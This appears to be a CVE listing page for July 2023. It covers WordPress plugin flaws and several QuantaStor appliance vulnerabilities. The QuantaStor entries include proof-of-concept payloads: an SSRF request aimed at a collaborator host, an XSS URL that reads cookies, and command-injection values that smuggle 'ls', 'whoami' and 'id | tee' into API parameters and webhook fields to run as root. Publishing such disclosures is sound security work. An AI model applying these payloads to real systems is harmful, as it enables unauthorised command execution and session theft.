Security Vulnerabilities - CVEs Published In July 2023
The tagDiv Cloud Library WordPress plugin before 2.7 does not have authorisation and CSRF in an AJAX action accessible to both unauthenticated and authenticated users, allowing unauthenticated users to change arbitrary user metadata, which could lead to privilege escalation by setting themselves as an admin of the blog.
CVSS Score
8.8
EPSS Score
0.002
Published
2023-07-10
The Companion Sitemap Generator WordPress plugin before 4.5.3 does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
CVSS Score
6.1
EPSS Score
0.103
Published
2023-07-10
A vulnerability, which was classified as problematic, has been found in View All Posts Page Plugin up to 0.9.0 on WordPress. This issue affects the function action_admin_notices_activation of the file view-all-posts-pages.php. The manipulation leads to cross site scripting. The attack may be initiated remotely. Upgrading to version 0.9.1 is able to address this issue. The patch is named bf914f3a59063fa4df8fd4925ae18a5d852396d7. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-233363.
CVSS Score
3.5
EPSS Score
0.001
Published
2023-07-10
A vulnerability, which was classified as problematic, was found in WDS Multisite Aggregate Plugin up to 1.0.0 on WordPress. Affected is the function update_options of the file includes/WDS_Multisite_Aggregate_Options.php. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. Upgrading to version 1.0.1 is able to address this issue. The name of the patch is 49e0bbcb6ff70e561365d9e0d26426598f63ca12. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-233364.
CVSS Score
3.5
EPSS Score
0.001
Published
2023-07-10
A vulnerability has been found in Beeliked Microsite Plugin up to 1.0.1 on WordPress and classified as problematic. Affected by this vulnerability is the function embed_handler of the file beelikedmicrosite.php. The manipulation leads to cross site scripting. The attack can be launched remotely. Upgrading to version 1.0.2 is able to address this issue. The identifier of the patch is d23bafb5d05fb2636a2b78331f9d3fca152903dc. It is recommended to upgrade the affected component. The identifier VDB-233365 was assigned to this vulnerability.
CVSS Score
3.5
EPSS Score
0.001
Published
2023-07-10
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this:
{
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
'data': b'{
"attachments": [
{
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [
{
"title": "Alert Severity",
"value": "CRITICAL",
"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://<HOSTNAME>)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
},
],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774
}
],
"mrkdwn":true
}',
#### FLASK REQUEST STUFF #####
'headers': {
'Host': '<redacted>',
'User-Agent': 'curl/7.58.0',
'Accept': '*/*',
'Content-Type': 'application/json',
'Content-Length': '790'
},
'args': ImmutableMultiDict([]),
'form': ImmutableMultiDict([]),
'remote_addr': '217.103.63.173',
'path': '/payload/58',
'whois_ip': 'TNF-AS, NL'
}
#### END FLASK REQUEST STUFF #####
CVSS Score
6.2
EPSS Score
0.001
Published
2023-07-10
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
CVSS Score
7.4
EPSS Score
0.001
Published
2023-07-10
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVSS Score
9.1
EPSS Score
0.001
Published
2023-07-10
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
CVSS Score
7.8
EPSS Score
0.0
Published
2023-07-10
An authenticated attacker is able to create alerts that trigger a stored XSS attack.
POC
* go to the alert manager
* open the ITSM tab
* add a webhook with the URL/service token value
' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)
* click add
* click apply
* create a test alert
* The test alert will run the command
“id | tee /tmp/ttttttddddssss” as root.
* after the test alert inspect
/tmp/ttttttddddssss it'll contain the ids of the root user.
CVSS Score
8.7
EPSS Score
0.001
Published
2023-07-10